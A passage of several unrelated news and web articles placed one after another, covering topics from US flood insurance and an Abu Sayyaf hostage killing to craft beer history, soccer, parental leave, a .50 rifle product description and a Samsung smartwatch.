“Government-provided insurance made sure that premiums were low enough to sustain ongoing development and a massive relocation of population to regions which, we now know, are borderline inhabitable,” says Ben-Shahar. “Intended as a disaster relief programme, the federal flood insurance scheme is really a land development policy.” After the government had to pay out massive amounts in claims in 2012 in the aftermath of super-storm Sandy, the US Congress decided to phase out the NFIP scheme and its insurance subsidies. As a result, insurance premiums in some coastal areas rose tenfold. An intense lobbying campaign followed, and much of the NFIP scheme is now back in place. This article was produced by Climate News Network -Canadian hostage was beheaded, officials in Philippines confirm BelfastTelegraph.co.uk Philippine officials have confirmed that Abu Sayyaf militants have beheaded a Canadian man, the second Canadian hostage killed by Abu Sayyaf militants in two months after their demands for a large ransom were not met. https://www.belfasttelegraph.co.uk/news/world-news/canadian-hostage-was-beheaded-officials-in-philippines-confirm-34799086.html https://www.belfasttelegraph.co.uk/news/world-news/article34799085.ece/08eaf/AUTOCROP/h342/PANews%20BT_P-4301921d-394d-40b2-8de6-4068d0407c91_I1.jpg Email Philippine officials have confirmed that Abu Sayyaf militants have beheaded a Canadian man, the second Canadian hostage killed by Abu Sayyaf militants in two months after their demands for a large ransom were not met. Robert Hall was abducted from a marina last September with another Canadian, a Norwegian and a Filipino. The other Canadian, former mining executive John Ridsdel, was beheaded in April. Presidential spokesman Herminio Coloma condemned "the brutal and senseless murder" of Mr Hall. He had been held by Abu Sayyaf in the jungle in southern Sulu province for nine months. The government has vowed to end the militants' "reign of terror". Mr Coloma said: "This latest heinous crime serves to strengthen our government's resolve to put an end to this reign of terror and banditry." A militant video obtained by Philippine police officials showed Mr Hall in an orange shirt kneeling in front of a black Islamic State-style flag before he was killed in a jungle area. An Abu Sayyaf deadline for the payment of a large ransom passed on Monday and police later found the severed head of a Caucasian man outside a Roman Catholic cathedral in Sulu province's main Jolo town. In Ottawa, Canadian prime minister Justin Trudeau said there was "compelling reason to believe" Mr Hall had been killed by his captors, and that the Canadian government was working with Philippine authorities to confirm his death. "We have every reason to believe that the reports are unfortunately true," Mr Trudeau said. He added he was "horrified" by the killings and reaffirmed Canada's refusal to pay ransoms. "The government of Canada will not and cannot pay ransoms for hostages to terrorist groups, as doing so would endanger the lives of more Canadians," Mr Trudeau said in a statement. "We are more committed than ever to working with the government of the Philippines and international partners to pursue those responsible for these heinous acts and bring them to justice, however long it takes." He recently urged leaders of other members of the G7 to reiterate their opposition to paying ransoms. After being abducted from the marina on southern Samal Island last September, the hostages were taken by boat to Sulu, where Abu Sayyaf has held hostages for years in mountainous jungle camps. Mr Ridsdel was beheaded on April 25 after a ransom demand of 300 million pesos (£4.5 million) was not paid. In an Abu Sayyaf video posted on YouTube after Mr Ridsdel's death, Mr Hall and the two other hostages, Norwegian Kjartan Sekkingstad and Filipino woman Marites Flor, pleaded to Canadian and Philippine officials to negotiate their release. "We live like this every day, go to bed like this," Mr Hall said, raising his arms to show he was handcuffed. "We have a hundred people heavily armed around us all the time that dictate to us and talk to us like children. We've been humiliated in every way possible. One of us has already been murdered." Mr Hall spoke later in the video for a second time, sounding resigned to a tragic fate. "I would also like to thank my family for the effort they put in - my family and friends for the effort they put in - to get me out of here. I know you did everything you can, and I truly appreciate it. I'm sorry I got you in this mess," he said. Mr Trudeau extended his "heartfelt condolences" to Mr Hall's relatives and friends. The US and the Philippines have both listed Abu Sayyaf as a terrorist organisation for kidnappings, beheadings and bombings. The group emerged in the early 1990s as an extremist offshoot of a decades-long Muslim separatist rebellion in the country's south. -The enthusiasm surrounding craft beer these days has some breweries putting odd ingredients in their batches, from beard yeast to oysters. Innovation can be exciting, but it inevitably comes with the backlash to seek something authentic. Breweries seeking to go old school might take note: There’s a recipe out there for a very authentic ale brewed and enjoyed by none other than George Washington himself. The recipe is penned in Washington’s notebook, kept during the French and Indian War, writes Hillary Brady for the Digital Public Library of America. The original notebook rests in the collections of The New York Public Library and details the 25-year-old Washington’s daily life as a colonel in the Virginia Regiment militia. The pages include lists of supplies, "sundry things to be done in Williamsburg," outlines for memos and letters, and on the final page, a recipe for "small beer." The term "small beer" refers to lower-quality, lower-alcohol content brews typically drunk by paid servants. Soldiers in the British Army probably also enjoyed small beer. The recipe is simple, as Brady transcribes it: Take a large Sifter full of Bran Hops to your Taste — Boil these 3 hours. Then strain out 30 Gall. into a Cooler put in 3 Gallons Molasses while the Beer is scalding hot or rather drain the molasses into the Cooler. Strain the Beer on it while boiling hot let this stand til it is little more than Blood warm. Then put in a quart of Yeast if the weather is very cold cover it over with a Blanket. Let it work in the Cooler 24 hours then put it into the Cask. leave the Bung open til it is almost done working — Bottle it that day Week it was Brewed. Washington wasn’t the only founding father with a penchant for brewing his brew. Thomas Jefferson joined his wife Martha in making home brews and bottled his first batch at Monticello in 1812, after his presidency, reports "Chris" at Draft. James Madison may or may not have considered a national brewery, based on a proposition in a letter he received from an entrepreneurial businessman. And Benjamin Franklin's recipe for making spruce beer, writes Lisa Grimm for Serious Eats, has inspired modern imitations. Though there was the brief period in U.S. history in which all alcohol was frowned upon (i.e., Prohibition), it seems that imbibing is certainly one of America’s longer-lived pastimes. -The Annual Pauhana Surf Contest Playa Encuntro, Cabarete, Dominican Republic This slideshow requires JavaScript. Photos by Chameleon Creative Arts Fall is an exciting time for Cabarete as surf season and local competitions begin. The annual Pauhana Surf contest is the first weekend of October and we’re excited to cover the details. With community in mind, Pauhana has made the same entrance fee across the board for all categories: 500rd. The fees are used to create the atmosphere for the event and put together some kind of cash prize for the winners of the Open Men and Open Women category. Female Equality in Surf Contests What makes the Pauhana contest unique is their commitment to award the Open Men and Open Women winners the same cash prize. Most surf competitions in the world have huge cash prizes and sponsorships awarded to the men, while women get less than half that. What this means is ladies, you better go out there and represent! Cabarete Tourism Pauhana considered cancelling their contest due to lack of funds from supporters of the event in Cabarete. We spoke with Chepe Gomez, co-owner and operator of the school. He said, “Even though things seem slow at the moment, we want to have a fun Pauhana party for the community and things are going to change for the better really soon.” Despite the decline in tourism that economically sustains the Cabarete community, the DR is expecting more tourism than usual starting in November. High season for visitors to the Caribbean is in the winter months and most of our Caribbean neighbors were destroyed by September storms. You can read more about that here. Surf Competition Categories The Categories for the Pauhana contest are what make it a really fun event for the community. Unlike other surf competitions that are focused on determining the best athletes in an area, the Pauhana event is pure surfing fun – with prizes! Our favorites to watch are the Doggy Surfers and the Surf Family heats, it’s all smiles and a really heartwarming experience. Here are the Categories for the competition: Juniors Boys (12-18 years old) Juniors Girls (12-18 years old) Mini Juniors (9-12 years old) Peewees (6-9 years old) Surf Family (Parent and kid together, no rules) Bodyboard Open (men and women no age limits) Longboard Men (no age limits) Longboard Women (no age limits) Open Men (any age, on shortboard) cash prize Open Women (any age, on shortboard) cash prize Doggy Surfers (no rules) As you can see some of the categories have no rules and are just for fun. Cash prizes are only given to two of the categories but other prizes like gear, apparel, and gift certificates can be expected by winners of the other categories too. Hippie Market on the Beach There will also be a Hippie Market on the beach during the contest. Cabarete has many jewelry makers, clothes designers, and savvy shoppers who sell their item in local markets. There is no charge to participate in the market, just bring your own setup and merchandise. Sign up for the weekend event begins Thursday Oct. 5 at Gorditos Fresh Mex in Ocean Dream Plaza. The contest is Saturday and Sunday the 7th and 8th.Awards and prizes will be given at the El Encuentro Surf Lodge Sunday night the 8th starting at 5pm. -This is one of those nights that sports fans endure. Whether it's baseball, football, basketball ... whatever. At some point, your team plays so badly that you become physically ill. Or near enough, anyway. That's what Jurgen Klinsmann's team just did down in Antigua with their ugly 2-1 win on Friday night. And the painful part is that it's not really a surprise. Klinsmann is, quite possibly, a great "big picture" coach. He might be the right guy to shake up the USSF and institute a more progressive, enjoyable style. He might be the guy who destroys what remains of the "old boy network." He may be the guy who can write a curriculum that turns the US into the Brazil of the northern hemisphere. He is not the guy to coach a team through qualifying. Period. Carlos Bocanegra is still a liability at left back Hey, Boca's been a fantastic servant for US soccer. He's relentless, responsible and has a knack for timely goals. He's also a giveaway machine when he plays wide. Bruce Arena learned that to his detriment in the 2006 World Cup — anybody remember that "clearance" vs. Ghana? — and Bob Bradley had his own trip down that path from 2007 through 2009. CORRECTION: D.C. United has not yet clinched Carolina Challenge Cup championship. I apologize for the confusion. #MLS — Andrew Wiebe (@AndrewWiebe_MLS) March 3, 2012 Somehow, it's 2012 and we're still learning that lesson. Yes, Klinsmann was handicapped by the injuries to Fabian Johnson and Edgar Castillo, but a good coach compensates by finding the right solution, not any solution. Klinsmann, on the other hand, compensates by putting Bocanegra in a position to fail. And that's exactly what he did on the turnover that led to the Antigua goal. Possession doesn't necessarily mean chances Throughout the game, we were treated to analysis highlighting the US dominance in possession. Problem was, that possession wasn't leading to chances. It wasn't even leading to half-chances. The US put one shot on goal from the run of play over 90 minutes against Antigua & Barbuda. Anyone who's making reservations for Brazil two summers from now needs to internalize that, understand it and choose a second favorite team right now. It's not because the US lacks creators, certainly — just look at how the game opened up once Sacha Kljestan came on. Quite simply, it's because the creative attacking players we have are, for some undisclosed reason, in Klinsmann's doghouse. For years many of us have railed against the perception of the US as a "defense only" team, pointing to games like the 2002 World Cup vs. Germany, the 2009 Confederations Cup vs. Egypt (and Brazil) and the entire run of the 2010 World Cup. But under Klinsmann, the US are defense only. The possession they hold in midfield isn't used to create chances, and as a result, the only time they're consistently dangerous is on set pieces. Eddie Johnson has a place in the roster ... and so does Alan Gordon I questioned EJ's inclusion despite his great production for the Sounders. And truth be told, he was more of a liability in possession than any of the other midfielders. However, he gets open on set pieces, and he finished two of his three looks (of the five total looks the US had on the night, which kind of makes me want to die). There's a place for that, especially against minnows. I still don't think he's the answer long term because he takes too long on the ball in the run of play, but hell, beggars can't be choosers. CORRECTION: D.C. United has not yet clinched Carolina Challenge Cup championship. I apologize for the confusion. #MLS — Andrew Wiebe (@AndrewWiebe_MLS) March 3, 2012 As for Gordon, he's the best-passing big man in or around his prime in the US national team pool. I've been pointing this out for quite a long while, and he vindicated me on Friday. Center forwards, like d-mids and goalkeepers, tend to develop later in their careers (Gordon is the age Brian McBride was when he transferred to Fulham). It's very, very nice to see a guy like Gordon stick with it as long as he has and, eventually, find his moment in the sun. And it's a reminder: Over the past three cycles, MLS players have done the bulk of the heavy lifting for the US national team. Klinsmann would be wise, on Tuesday and — hopefully — in 2013, to remember that much. Follow@MLS_Analyst -Mötley Crüe drummer and occasionally nude PETA member Tommy Lee has issued a sternly worded letter to SeaWorld on behalf of infamous orca Tilikum (also known as the killer whale who’s been involved in the deaths of three people) arguing for Tilikum’s release into the wild. Lee’s chief complaint: that the park claims no human will have direct contact with Tilikum ever again, despite the fact that Lee just knows that the whale is SeaWorld’s “chief sperm bank,” with trainers keeping him in captivity so they can continue to extract future whales by “having someone get in the pool and masturbate him with a cow’s vagina filled with hot water," which sounds extraordinarily messy. And lest you think Lee is hypocritically accusing SeaWorld of the sort of thing that might have been a common backstage occurrence during the Welcome To The Theatre Of Pain Tour, Lee counters, “Even in my wildest days with Mötley Crüe, I never could've imagined something so sick and twisted,” so there. Here’s the entire letter courtesy of TMZ, signed by Tommy Lee with a “Mötley Crüe” so you know it’s official. Advertisement SeaWorld has since responded, calling Lee’s allegations the result of PETA’s usual carelessness with the facts and deeming them “beyond ludicrous.” Uh, what’s so ludicrous about jacking off a whale with a water-filled cow vagina? [via Vulture] -Former Butler star David Goldsmith (right) is carving out a role with the Indy Eleven. (Photo: Trevor Ruszkowski/Indy Eleven) Story Highlights Indy vs. Jacksonville, 6:30 p.m., Saturday, WISH-8 INDIANAPOLIS – David Goldsmith was used to starting and putting up gaudy numbers while setting the Big East ablaze at Butler last year. The rookie Indy Eleven forward quickly learned things don’t come so easily at the next level. Goldsmith, Big East Co-Offensive Player of the Year, went unselected in the 2017 Major League Soccer SuperDraft. The Eleven, who play a tier lower in the North American Soccer League, brought him in for a preseason trial. The 23-year-old had to earn his spot. And he did. “When he first came in on trial, he caught the coaching staff’s eye quite quickly,” said Eleven captain Colin Falvey. “Right off the bat, he made an impression that he was a good finisher. I think it took him a little bit of time when the season started to adjust to playing professional football. Coming from college is never easy.” Former Butler star David Goldsmith (left) is carving out a role with the Indy Eleven. (Photo: Trevor Ruszkowski/Indy Eleven) During Indy’s first six NASL matches this season, Goldsmith appeared just once for a total of two minutes. Since then, he’s made a cameo off the bench in eight of the past nine games. “Every player wants to play every minute,” Goldsmith said. “They’d be lying to you if they said they didn’t. I’m just trying to work hard on the training field and sort of try to take my opportunities when I get on the field to make an impact on the game.” Eleven coach Tim Hankinson bragged about Goldsmith’s development at practice this past week, hinting the former Butler attacker has recently been the MVP on the training grounds. Hankinson specifically cited shooting drills as Goldsmith’s area of expertise. While he’s not yet stuffing the scoresheet — Goldsmith has just one assist so far — his performance in practice suggests that the goals, assists and created chances will come with more minutes. He’s also got two of the best forwards in the NASL to mentor him in Justin Braun and Eamon Zayed. “You’ve got two good, experienced forwards ahead of him,” Falvey said. “The boys have been leaning on him and helping him. He’s very willing to learn to try to get better.” Buy Photo FILE – Butler's David Goldsmith protects the ball from Indiana University's Grant Lillard during their match at Butler University, Sept. 16, 2015. (Photo: Matt Detrich/IndyStar) Goldsmith credited facing Indy’s defenders in training, Falvey among them, for the rapid improvement of his game. “It really helps me every day playing against players like Colin and (Daniel) Keller, these center backs that we have on our team. Myself being a rookie, I understand that my time will come. I have to be patient and just learn from the older, more experienced guys.” Goldsmith, from Bristol, England, originally wasn’t sure what to make of the sport called “soccer” across the Atlantic Ocean. “I didn’t really know what to expect exactly,” said Goldsmith of hearing U.S. soccer stereotypes prior to moving stateside. “I can’t say I watched too much American soccer. Being from England, I watched a lot of Premier League. “(The stereotypes were) disproven. Especially in the last couple of years, MLS has really sort of grown with these great players who come from America and overseas.” Indy will complete the spring season Saturday against Jacksonville Armada FC at Carroll Stadium, then it has a weekend off before starting its NASL fall campaign July 30 at FC Edmonton. If the Eleven are searching for a breakout player to provide the club a lift this autumn, they should look no further than their bench — at a rookie wearing the No. 20 jersey. NEWSLETTERS Get the IndyStar Motor Sports newsletter delivered to your inbox We're sorry, but something went wrong The latest news in IndyCar and the world of motor sports. Please try again soon, or contact Customer Service at 1-888-357-7827. Delivery: Sun - Fri Invalid email address Thank you! You're almost signed up for IndyStar Motor Sports Keep an eye out for an email to confirm your newsletter registration. More newsletters “I think it’s only a matter of time before you see him come off the bench and grab a goal,” Falvey added. “He’s definitely a natural goal-scorer.” IF YOU GO: Indy Eleven vs. Jacksonville Armada FC Kickoff: 6:30 p.m. Saturday, Carroll Stadium. TV: WISH-8. -People in solitary confinement have been loudly awakened by guards every 30 minutes 24/7 since the night of August 2nd! Please help stop this sleep deprivation torture. 119th day of interrupted sleep 48 times a day, about 20 people took part in an EMERGENCY PROTEST so-called “security/welfare checks” On Nov 30th, theof interrupted sleep 48 times a day, about 20 people took part in anat CDCr headquarters in Sacramento to stop thesebeing done every 30 minutes in the Pelican Bay SHU and other solitary units in CA prisons. Sleep deprivation is torture, and that is what these loud, intrusive checks are causing. For people in solitary cells 23-24 hours a day, the noise and disruption every 30 minutes is unavoidable, endless torture. Prisoners are experiencing severe stress, weight loss, dizziness, nausea, headaches, eye problems, stomach and bowel problems, faintness, depression, and sped-up heart rates. They cannot concentrate, exercise, read, do legal work- the things that help them survive- and they can’t sleep! SEND EMAILS to STOP the 30 minute ‘checks’ This link will help you easily send an email to Gov. Brown and the Assembly and Senate Public Safety Committees to stop the so-called security and welfare checks! http://bit.ly/1keDTUG MAKE CALLS to STOP 30 minute ‘checks’ in Pelican Bay SHU Governor Brown: 1.916.445.2841 CDCR Secretary Jeffrey Beard: 1.916-323-6001 (If you can’t get through, call CDCR number* for Beard) Pelican Bay State Prison: 1.707.465.1000 CDCR Ombudsman 916.445-1773 *CDCR: 1.916.445.7688 Tell all of them : Stop the 30 minutes welfare checks in solitary confinement at Pelican Bay State Prison. Sleep Deprivation is Torture. -SAN FRANCISCO (CBS/AP) — San Francisco will become the first place in the nation to require businesses to provide fully paid leave for new parents. The San Francisco Board of Supervisors voted unanimously in favor of the measure after supporters said six weeks of fully paid leave is needed because too many families can’t afford to take time off after a child is born or adopted. The measure awaits the signature of Mayor Ed Lee. Spokesperson Christine Falvey said Mayor Lee would sign the measure after two amendments were added. One increased the amount of time an employee had to work at a company in order to qualify from 90 days to 180 days. The second would give smaller businesses an additional year to implement the measure. Advocates say the issue is gaining momentum across the country much like the debate over a higher minimum wage. Small business owners countered that it’s the latest in a long list of city mandates— including paid sick leave and health coverage— that unfairly targets them. The U.S. lags other countries in providing parental leave. Federal law grants workers up to 12 weeks of unpaid leave. California, Rhode Island and New Jersey provide partial pay, with the money coming from employees. Legislators in New York last month approved up to 12 weeks of partial pay. The state of California currently allows workers to receive 55 percent of their pay for up to six weeks to bond with a new child. The money comes from a state insurance program funded by workers. The San Francisco measure requires employers with at least 20 employees to make up the rest. Some private employers such as Netflix are generous with leave as a way to retain workers, and people who work for the city and county of San Francisco are entitled to 12 weeks of full pay. Supervisor Scott Wiener, who pushed for paid leave, has said the benefit is another step toward addressing income inequality, much like the $15 hourly minimum wage legislation that California Gov. Jerry Brown signed Monday and San Francisco approved for workers in 2014. “The vast majority of workers in this country have little or no access to paid parental leave, and that needs to change,” he said at a news conference before Tuesday’s vote. Among the dozen or so attendees was Kim Turner, a nonprofit attorney who took advantage of the state parental leave program. She says full paid leave would have been better. “I do think employers should be pitching in more,” she said. “I think we all need more help. It’s just so hard to make ends meet with little ones in the house.” A group representing small businesses disagreed. “They don’t necessarily have the resources, they can’t absorb the increases in cost, and they feel like it’s kind of relentless, it’s one thing after the next,” said Dee Dee Workman, vice president of public policy at the San Francisco Chamber of Commerce. Once Mayor Lee signs the measure into law, businesses with at least 50 employees must comply starting in January 2017. Businesses with at least 20 employees have until January 2018 to comply. ___ TM and © Copyright 2016 CBS Radio Inc. and its relevant subsidiaries. CBS RADIO and EYE Logo TM and Copyright 2016 CBS Broadcasting Inc. Used under license. All Rights Reserved. This material may not be published, broadcast, rewritten. The Associated Press contributed to this report. -On Jan. 12, Metro faced yet another crisis. Smoke flooding a stopped train on the Yellow Line had left one passenger dead and dozens of others in the hospital. So the Washington Metropolitan Area Transit Agency did what any other huge institution does went it has a disaster: They hired some spin doctors. As the public and media fumed at another fatality on the transit line, Metro contracted with two crisis firms, O’Neill and Associates and Hill + Knowlton Strategies. Documents obtained by LL through an open records request show the agency and its consultants scrambling to respond to the January smoke incident—and, for some reason, keeping tabs on a critical Twitter account along the way. The work didn’t come cheap. In March, for example, Hill + Knowlton’s work alone cost more than $60,000. WMATA spokeswoman Sherri Ly says that the firms cost Metro roughly $250,000, all of which was paid out of the transit agency’s insurance policy. WMATA staff didn’t intend to provide LL with all this information. Earlier this month, the agency mailed LL a CD that held some files that were redacted and open, along many more that were password-protected. After WMATA staff gave LL the passwords for the restricted files, they realized too late that they contained unredacted files. Earlier this week, WMATA asked LL to return the CD in exchange for redacted copies of the files. No thanks, said LL. The unredacted files provide a look at how the agency struggled to recover from the smoke death while also not violating National Transportation Safety Board rules about discussing details of the accident while the investigation was ongoing. That limited WMATA’s ability to push back on the bad news. As Hill + Knowlton’s presentation to the agency noted in fluent PR-speak, news about WMATA “continues to progress unfettered into negative spaces.” It didn’t help, the firm noted, that Metro had such a bad reputation even before the smoke fatality. Or that, just as the system had killed one of its passengers, WMATA was ready to raise fares and reduce service for the rest. The presentation noted that the smoke incident wasn’t so abnormal in passengers’ estimations, just “what many have come to expect from Metro.” In response, Hill + Knowlton offered a plan where “media volume and negative tone [would be] reduced.” That meant “daily monitoring” of social media and “media and competitor analysis,” plus establishing interim WMATA General Manager Jack Requa as “a leader in control.” O’Neill and Associates, which tried to win WMATA’s business by showing how it had previously helped spin for a Chinatown bus line that had been shut down by the Department of Transportation, offered its own form of Internet pushback for the embattled agency. The firm could, according to its presentation, help WMATA with “adverse search results” and follow Metro discussion on Instagram, Facebook, Twitter, and, uh, Google+. (WMATA might want its insurance money back on that last one.) O’Neill and Associates had something else to offer: Peter Goelz, the former managing director of the NTSB, works there. At an hourly rate of $350, Goelz helped WMATA staff navigate the NTSB investigation. Most curiously, the crisis response involved taking an interest in at least one individual Twitter user. One of Hill + Knowlton’s staffer, compiling her work on a time sheet, noted that she had “researched and provided analysis on @fixmetro blogger.” That’d be Chris Barnes, the prolific Metro watcher who tweets as @fixmetro. When LL reached Barnes, he was surprised to learn he earned personal notice from WMATA’s spinmeisters. “What a fricking waste of money,” Barnes says. Barnes is puzzled that the transit agency would have to spend money analyzing him, given that he says he regularly exchanges emails with Metro spokesman Dan Stessel. In other words, he says, figuring him out didn’t exactly require extensive research. “I’m happy to sit down and answer whatever questions they’ve got,” Barnes says. “And that’ll be free.” Hill+Knowlton's Proposal: View on DocumentCloud O'Neill and Associates' Proposal: View on DocumentCloud Hill+Knowlton Timesheet: View on DocumentCloud File photo by Darrow Montgomery -FLOTUS Sends Out Well Wishes to Hurricane Irma Victims – Disgusting Liberals Trash Her Hurricane Irma is a monster category 5 storm churning in the Atlantic Ocean with sustained winds reaching north of 185 mph. It is the biggest hurricane ever recorded in the Atlantic. Many people in Florida are evacuating their homes as Irma approaches the United States. President Trump is working with Florida Governor Rick Scott to get supplies to people affected. A state of emergency has been declared in Florida. The First Lady sent out a heartfelt message, “If you are in or near projected path of Hurricane Irma please listen to local law enforcement in the area. Stay safe!!!” If you are in or near projected path of #HurricaneIrma please listen to local law enforcement in the area. Stay safe!!! — Melania Trump (@FLOTUS) September 8, 2017 Like clockwork, disgusting liberals attacked FLOTUS: Don’t forget your stiletto heels though — Fraracci (@fraracci) September 8, 2017 P.S. “Please help me escape Donald!” — Parry Headrick (@pheadrick) September 8, 2017 WHAT FOOTWEAR DO YOU SUGGEST — Brook Lundy (@brooklundy1) September 8, 2017 Get out of our WH with your treason husband! Where’s the peeped tapes? Enjoy? — John Miller (@realjohnmil) September 8, 2017 As if you give a crap. Seriously. — I RESIST (@charlottecicale) September 8, 2017 Please you and Donald, go #Mir-a-lago now while there is still time. — Brian Drourr Photo (@BrianDrourr) September 8, 2017 Will you please go down there? Don’t wear a jacket. Just your heels… — Steve Hernandez (@steveahernande1) September 8, 2017 -(Newser) – The largest solar energy plant in the world could bring a surprising array of dangers to the Mojave Desert when constructed is completed, reports the LA Times. First off, it's huge: 170,000 large mirrors will be installed at the Ivanpah plant, heating water in three 45-story towers to 1,000 degrees. Critics say no one can specify the dangers because no solar plant has been bulit on this scale—but it might vaporize birds, blind drivers miles away, flip small airplanes, or even attract Air Force heat-seeking missiles. With a new airport for Las Vegas proposed just six miles away, heat plume interference from the solar plant could be a deadly threat. "If you hit a plume dead center, you have one wing in and one wing out of it. It would flip an airplane in a heartbeat," says the operator of the nearby Blythe airport, who adds that his complaints have been ignored. "It was a joke." Even if Ivanpah is safe, there are applications pending for 100 other solar plants in the Mojave. "It's an experiment on a grand scale," says one scientist. (Read more Mojave Desert stories.) -Opinion Trump policies will move California’s berry production to Mexico TO GO WITH AFP STORY by Leila Macor, US-politics-immigration-Internet Migrant workers harvest strawberries at a farm in this March 13, 2013 file photo near Oxnard, California. A new system that will require all US employers to check if job applicants are authorized to work, risks being a bureaucratic nightmare for immigrants and US citizens alike, critics say. The E-Verify system, part of a comprehensive immigration reform package passed by the US Senate last month, draws on official databases to decide if an individual has the right to work in the United States. The reform package -- which must still be approved by the House of Representatives -- also calls for the US-Mexico border fence to be bolstered as well as implementing E-Verify nationally. AFP PHOTO/JOE KLAMARJOE KLAMAR/AFP/Getty Images less TO GO WITH AFP STORY by Leila Macor, US-politics-immigration-Internet Migrant workers harvest strawberries at a farm in this March 13, 2013 file photo near Oxnard, California. A new system that will require all ... more Photo: JOE KLAMAR Photo: JOE KLAMAR Image 1 of / 1 Caption Close Trump policies will move California’s berry production to Mexico 1 / 1 Back to Gallery Two hundred years ago, British economist David Ricardo outlined a theory of international trade based on the notion of comparative advantage. The idea is that each country does something relatively well, and therefore can specialize and trade with others to their mutual benefit. Economics has since gone well beyond Ricardo’s analysis, but it remains instructive when it comes to agricultural products. That brings me to strawberries. The red fruit is produced for U.S. markets primarily in two states, California and Florida. In my part of the country, the Southern California coast, I admire the strawberry fields and think, “There is Ricardo’s comparative advantage.” Southern California has a mild climate, moist sea breezes and fertile soil: perfect for growing strawberries. The climate that makes Ventura County ideal strawberry territory does not end at the Mexican border. On the Baja California coast near San Quintín, you also find strawberries. With the expansion of cultivation in the states of Baja, Guanajuato and Michoacan, Mexican production and Mexican exports have been increasing in recent years. Both countries are major exporters of the crop. According to the California Strawberry Export Report, farmers in the Golden State exported about $400 million of fresh and frozen strawberries in 2016. Mexico exported approximately the same amount as California. Here’s where things get interesting. Mexican exports tend to be to the United States; the U.S. exports to Canada and other countries. Why does the U.S. both export and import strawberries? One reason is the different harvesting season in Mexico, and the perishability of fresh berries. There’s another defining quality of strawberries: They are hard to harvest. You have to stoop down and remove each fruit one by one. Machines would damage the delicate berry and fail to separate ripe from budding fruits. So it is up to people, typically immigrants, to pick strawberries. According to the Los Angeles Times, a good strawberry picker in Southern California can earn $150 per day during the harvest season. That translates to $18.75 per hour. According to the California Legislative Analyst’s Office, between 25 and 30 percent of all non-strawberry pickers in the same region earn less than $12.50 per hour. So why are these less well-paid folks not clamoring for jobs in the strawberry fields? Strawberry picking is hard, seasonal labor and must be pieced together with other fieldwork. In Baja, strawberry harvest workers make much less than they do in Southern California: about $11 a day. So why doesn’t more of the strawberry business move south across the border? The labor price difference isn’t yet so much as to force the move south. Strawberry farms here still can find people to work in the fields. But there is an issue: The people willing to pick strawberries in Ventura County for $18.75 per hour are not Americans. They are Mexicans willing to brave the hazards of living in the United States without legal permission. The delicate balance that allows both Californian and Mexican strawberry operations to prosper is under pressure. The Trump administration has pledged to deport unauthorized residents. And where more effectively to deploy the limited resources of U.S. Immigration and Customs Enforcement than where there is a concentration of the undocumented: in the strawberry fields? The immediate impact of deportations will be a shortage of labor. In the short run, California and the United States will have fewer strawberries picked and the berries in the market will command higher prices. In the longer run, farmers either will pay pickers more, or plant crops that can be harvested by machines. The result: even fewer strawberries and even higher prices. And the same people who have been picking strawberries in California still will be picking our strawberries. They just will be doing it south of the border. The shift of the strawberry business further south should be a boon to Mexican agriculture, food processing and trucking. For the agriculture in the U.S., profits will be lower as land ideally suited for strawberries will be used for feed corn. And, though President Trump campaigned on closing the trade deficit with Mexico, the deportation policy will expand it, as more profits from the strawberry trade accrue to Mexican land barons. So it is a policy of “pick your poison.” You can engage in mass deportations with consequent lower income for American farmers and their Mexican farmworkers, and increase the trade deficit. Or you can forgo mass deportations, increasing the income of American farmers and their Mexican farmworkers, and keeping the trade deficit with Mexico no greater than it is today. But you can’t do both. And this is only strawberries. In 2015, Mexico exported almost $22 billion of agricultural produce to the United States. Strawberries are just the tip of the iceberg. Jerry Nickelsburg, an economist at UCLA Anderson School of Management, writes the Pacific Economist column for Zócalo Public Square. Email: jerry.nickelsburg@anderson.ucla.edu Twitter: @jnickelsburg To comment, submit your letter to the editor at http://bit.ly/SFChronicleletters. -The Barrett Model 82A1 C-Q .50 BMG rifle system is a semi-auto rifle with a close range 20" barrel. Included is a rolling compatmentalized Pelican hard case, one 10-round magazine, carry handle, flip-up iron sights, M1913 optics rail, owner's manual. Perfection isn’t accomplished overnight. Nowhere is this more apparent than in the Model 82A1. For more than two decades, this short-recoil, semi-automatic series rifle has been carefully honed, studied and then refined again. The result is a feat of engineering so impossibly precise, it’s hard to believe it’s man-made. Unlike other semi-automatic .50 BMG rifles, the Model 82A1 is completely reliable. Its chamber is chrome-plated and dimensioned for both civilian and military ammunition. The extractor and ejector are proven to work under any condition, and close tolerances on every part allow it to function in all environments. Its re-engineered muzzle brake, dual barrel springs and long mainspring design make the 82A1 comfortable and — dare we say — exciting to shoot. The Model 82A1 fits into a regular sized carrying case. Although it’s transported as a disassembled upper and lower receiver, it can be ready to fire in under a minute by simply inserting two assembly pins through both receivers. The scope remains mounted on the upper receiver, maintaining scope zero. The rifle’s M1913 optics rail is tapered 27 MOA to take full advantage of the scope’s elevation travel. -Samsung is toughening up its line of wearables with the new Gear S3. The company unveiled its latest smartwatch on Wednesday at IFA 2016, Europe's annual gadget convention. The Gear S3 is the company's follow-up device to the sleek Gear S2 model, which CNNMoney has called one of the best smartwatches we've tried to date. Now, Samsung (SSNLF) is branching out with three outdoors-friendly versions of the S3: the Classic, and the Frontier, which comes in two choices -- an LTE connected model and standard Bluetooth connection only model. Compared to its predecessor, the latest model is noticeably bigger at almost 2 inches (46mm) in diameter, up from 42mm. The bulk comes with a bevy of new upgrades for added ruggedness and flair. But the Gear S3 isn't meant to replace the S2. Instead, Samsung is looking to keep both in its product line -- last year's model toward people who prefer a sleeker style. With its latest addition, Samsung has a lot more options for consumers, which may be more appealing approach compared to the one-style-fits-all Apple Watch. Here's a closer look at the Gear S3: Three options While the Classic design has a stainless steel finish, the Frontier style is more rugged looking. The latter is available with two connectivity options: one that pairs with a phone over Bluetooth and another that works with an LTE subscription, so you can make phone calls and stream music directly to the device. Samsung has not yet announced pricing or availability. However, the Gear S2 ($300) will still get updates and be sold in stores. Durability The Gear S3 can handle the elements. To start, it's waterproof up to 5-feet deep for about a half an hour. It'll ward off scratches too, thanks to its Corning Gorilla Glass display. And for the extremists among us, the device can handle very hot and cold temperatures. In fact, to prove its durability during a product preview event last week, Samsung placed its watch under a heat lamp for hours, with temperatures reaching more than 120 degrees. Meanwhile, another Gear S3 sat in a cold water bath with dry ice at 27 degrees. Samsung says it can handle temperatures well below 0. The battery life received a nice upgrade, too: the Gear S3 lasts about three to four days on a charge and kicks into a power saving mode when it hits 15%. Design Samsung spent a lot of time working on the design of the S3, and enlisted Swiss watchmaker Yvan Arpa and industrial designer Arik Levy to help. The results of the collaboration are evident in details like the small lines that indicate where the hour hands are positioned, also known as the index markers on the bezel. This makes it look more like a traditional analog watch. It also comes with a special set of digital watch faces that pair with 